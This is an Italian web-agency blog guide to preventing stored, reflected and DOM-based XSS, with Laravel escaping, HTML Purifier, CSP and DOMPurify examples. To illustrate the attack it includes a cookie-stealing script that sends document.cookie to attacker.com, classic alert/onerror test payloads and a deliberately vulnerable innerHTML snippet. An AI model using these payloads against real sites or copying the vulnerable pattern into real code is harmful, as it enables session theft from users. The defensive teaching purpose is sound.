f in x
XSS Cross-Site Scripting: Stored, Reflected e DOM — Guida Operativa alla Prevenzione
> cd .. / HUB_EDITORIALE > Visualizza in Inglese
Sicurezza Informatica

XSS Cross-Site Scripting: Stored, Reflected e DOM — Guida Operativa alla Prevenzione

[2026-06-14] Author: Ing. Calogero Bono

Un cliente ci chiama disperato: "I clienti vedono pop-up strani, il sito reindirizza a siti di gambling, e qualcuno dice che sto rubando i dati delle carte di credito". Scenario? XSS, una falla vecchia quanto il web, ma ancora oggi la vulnerabilità più sfruttata nelle applicazioni web. Se non la blocchi, il tuo sito diventa un veicolo per attaccare i tuoi utenti.

Noi, di Meteora Web, lo vediamo ogni giorno nei progetti che ci arrivano in consulenza: form che accettano codice arbitrario, URL non sanificati, framework configurati male. In questa guida operativa ti spieghiamo i tre tipi di XSS — stored, reflected, DOM — e come prevenirli con codice concreto, non teoria astratta.

Questa guida è uno spoke della nostra Pillar Guide sulla Sicurezza Web per Sviluppatori.

Cos'è un attacco XSS e perché ti riguarda

XSS (Cross-Site Scripting) permette a un aggressore di iniettare script arbitrari in una pagina web visualizzata da altri utenti. Il codice JavaScript malevolo viene eseguito nel browser della vittima, con gli stessi privilegi della tua applicazione. Può rubare cookie, manipolare il DOM, esfiltrare dati, registrare keystroke. Per un'azienda significa perdita di fiducia, danni reputazionali e potenziali sanzioni GDPR.

Secondo il progetto OWASP, XSS è costantemente tra le prime vulnerabilità nelle applicazioni web. La soluzione non è complessa: validazione, sanitizzazione, escaping e Content Security Policy. Ma serve sapere dove e come applicarli.

I tre volti di XSS: Stored, Reflected, DOM

Capiamo la differenza con esempi reali, poi vediamo le contromisure.

Sponsored Protocol

XSS Stored (o persistente)

Lo script malevolo viene memorizzato nel server (database, file, log) e restituito a ogni richiesta. Tipico: commenti, recensioni, profili utente, campi di configurazione.

Esempio concreto: Un forum esposto. Utente malintenzionato scrive in un commento:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Se il server non escapa l'output, ogni visitatore della pagina esegue quello script. Nel nostro caso, se il cliente non aveva impostato cookie HttpOnly, addio sessioni.

XSS Reflected (o non persistente)

Lo script è parte della richiesta stessa (URL, parametri GET/POST, header) e viene riflesso nella risposta senza essere memorizzato. Serve un link manipolato o un form inviato con il payload.

Esempio concreto: Un motore di ricerca interno: https://esempio.com/cerca?q=<script>alert(1)</script>. Se il valore di q viene stampato nella pagina senza sanitizzazione, lo script si esegue. L'attaccante invia il link a un utente ignaro.

XSS DOM-based

Più subdolo: la vulnerabilità esiste nel codice JavaScript client-side. Il server non è responsabile, ma il DOM viene modificato dinamicamente usando input non sicuri (es. da location.hash, document.URL, localStorage).

Esempio concreto: Una funzione JavaScript che legge window.location.hash e lo inserisce in innerHTML. Se l'URL è https://esempio.com/#<img src=x onerror=alert(1)>, il codice esegue. Il server non vede mai il payload.

Come prevenire XSS: le 3 difese obbligatorie

Ogni strato deve essere presidiato. Non esiste una sola tecnica che blocchi tutto. Noi applichiamo sempre queste tre contromisure in ordine di priorità.

Sponsored Protocol

1. Escaping contestuale dell'output (server-side)

Ogni dato che proviene dall'utente e viene stampato in HTML deve essere trasformato in modo che non possa essere interpretato come codice. Le regole cambiano a seconda del contesto: HTML body, attributi, JavaScript, CSS, URL.

In PHP (Laravel), il sistema di template Blade escape automaticamente con {{ $var }}. Ma attenzione: {!! $var !!} non escapa. Usalo solo se sei assolutamente certo che il contenuto sia sicuro (e non lo sei mai al 100%). In Laravel, per attributi usa {{ $var }} e basta. Per contesti JavaScript, non concatenare mai stringhe direttamente; usa json_encode con escaping integrato.

Esempio in Laravel (corretto):

// Correto: escape HTML
<div>{{ $user->name }}</div>
// Per attributo
<input value="{{ $user->name }}">
// Per JavaScript
<script>
  const user = @json($user);
</script>

Errore comune: usare htmlspecialchars senza specificare il contesto. Per attributi, i caratteri & e " devono essere escapati, ma anche < e > non bastano se l'attributo è href o src.

2. Sanificazione lato server per input strutturati

Se un campo deve accettare HTML limitato (es. un editor rich-text), non puoi escaparlo tutto. Allora devi sanitizzare: rimuovere tag e attributi pericolosi mantenendo quelli sicuri. Noi usiamo HTML Purifier (PHP) o DOMPurify (lato client per preview). Ma attenzione: sanitizzare è complesso e se non gestisci ogni caso, XSS passa. Preferisci sempre limitare il markup permesso (grassetto, corsivo, link a domini consentiti) piuttosto che permettere tutto e ripulire.

Sponsored Protocol

Esempio con HTML Purifier in Laravel:

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($dirtyInput);

3. Content Security Policy (CSP)

Se una delle difese precedenti fallisce, CSP è la rete di sicurezza. Un header HTTP che dice al browser da quali fonti può caricare script, stili, immagini, etc. Se un attaccante inietta <script src="https://evil.com/hack.js">, il browser lo blocca se la CSP non permette quel dominio.

Esempio header CSP minimal (da impostare sul server):

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:

Attenzione: non usare 'unsafe-inline' per script se puoi evitarlo. Per applicazioni moderne che usano framework JS, meglio usare nonce o hash. In Laravel, puoi impostare CSP tramite middleware personalizzato o pacchetti come bepsvpt/secure-headers.

Prevenire XSS DOM-based: lo scoglio dimenticato

Molti sviluppatori curano backend ma dimenticano il frontend. XSS DOM-based si previene non scrivendo mai input utente in innerHTML, outerHTML, document.write, eval, setTimeout(string), o manipolazioni dirette del DOM via jQuery .html(). Usa sempre API sicure come textContent, setAttribute, createTextNode.

Esempio errato (vulnerabile):

// VULNERABILE
const name = location.hash.slice(1); // '<img src=x onerror=alert(1)>'
document.getElementById('welcome').innerHTML = 'Ciao, ' + name;

Esempio sicuro:

Sponsored Protocol

// SICURO
const name = location.hash.slice(1);
document.getElementById('welcome').textContent = 'Ciao, ' + name;
// Oppure sanifica con DOMPurify se devi gestire HTML
import DOMPurify from 'dompurify';
document.getElementById('welcome').innerHTML = DOMPurify.sanitize('Ciao, ' + name);

Regola d'oro: se il valore finisce in un contesto HTML, non usare mai innerHTML, outerHTML, insertAdjacentHTML con input non sanitizzato. Anche l'uso di location e URL va validato con trusted type e pattern whitelist.

Checklist operativa per sviluppatori

Noi, di Meteora Web, usiamo questa lista su ogni progetto prima del go-live. Stampala e applicala.

  • [ ] Tutti i dati utente in output HTML sono escapati con motore template (Blade, Twig, React con JSX che escapano di default ma attenzione a dangerouslySetInnerHTML).
  • [ ] Non usiamo eval(), new Function(), setTimeout() con stringhe.
  • [ ] Non scriviamo input utente direttamente in innerHTML, document.write, outerHTML.
  • [ ] Per editor rich-text usiamo HTML Purifier (lato server) o DOMPurify (lato client).
  • [ ] CSP configurata con script-src ristretta (non 'unsafe-inline') e report-uri per monitorare violazioni.
  • [ ] Cookie di sessione impostati con HttpOnly, Secure, SameSite=Lax — almeno.
  • [ ] Parametri GET/POST non usati direttamente nei tag <script> o attributi evento.
  • [ ] In React/Angular/Vue, evitare v-html, innerHTML, [innerHTML] a meno di sanitizzazione esplicita.
  • [ ] Test con scanner automatico (OWASP ZAP) e manuale con payload classici: <script>alert(1)</script>, <img src=x onerror=alert(1)>, " onmouseover="alert(1).

Errori comuni che vediamo nei progetti ereditati

Nella nostra esperienza, ecco cosa torna sempre:

Sponsored Protocol

  • Template PHP con echo non escapato (es. <?= $var ?> non sicuro).
  • Campo JSON inviato direttamente in innerHTML — anche se JSON è "sicuro", se contiene un payload XSS, lo esegue.
  • Form con metodo GET senza sanitizzazione — i parametri URL vengono riflessi in pagina.
  • CSP con 'unsafe-inline' su tutto — praticamente annulla la protezione.
  • Non impostare HttpOnly sui cookie — XSS diventa furto di sessione immediato.

In sintesi — cosa fare adesso

  1. Scansiona subito il tuo sito con OWASP ZAP o un tool online. Cerca XSS nei campi input, parametri URL, e commenti.
  2. Correggi l'output: nei template, escapa sempre con la funzione giusta per il contesto. In Laravel, usa {{ }} ovunque tranne che per HTML sicuro sanitizzato.
  3. Imposta CSP: anche un CSP di base blocca buona parte degli XSS classici. Inizia con default-src 'self'; script-src 'self'; e testa.
  4. Elimina innerHTML dal tuo frontend. Sostituisci con textContent, createElement, o framework con escaping automatico.
  5. Usa un parser di input per campi che devono accettare markup: HTML Purifier o DOMPurify.

Ricorda: la sicurezza non è un feature toggle. È un'abitudine. Noi, di Meteora Web, lo ripetiamo sempre: un attacco XSS è uno dei modi più veloci per distruggere la fiducia dei clienti. Prevenirlo costa poco, ripararlo costa caro.

Ing. Calogero Bono

> AUTHOR_EXTRACTED

Ing. Calogero Bono

Ingegnere Informatico, co-fondatore di Meteora Web. Esperto in architetture software, sicurezza informatica e sviluppo sistemi scalabili.
[ Read Full Dossier ]

> METEORA_WEB // WEB AGENCY

Costruiamo la presenza digitale che la tua azienda merita.

Siti web, social, pubblicità online, e-commerce e hosting performante: ingegnerizzati con metodo da ingegneri informatici a Sciacca, per tutta Italia.

> MW_JOURNAL

> READ_ALL()